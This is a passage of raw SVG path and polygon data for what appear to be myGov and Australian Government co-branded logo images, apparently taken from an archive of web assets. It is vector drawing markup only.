d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/sms_files/myGov-cobranded-logo-white.svg000064400000175214151676702570016320 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#fff;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" 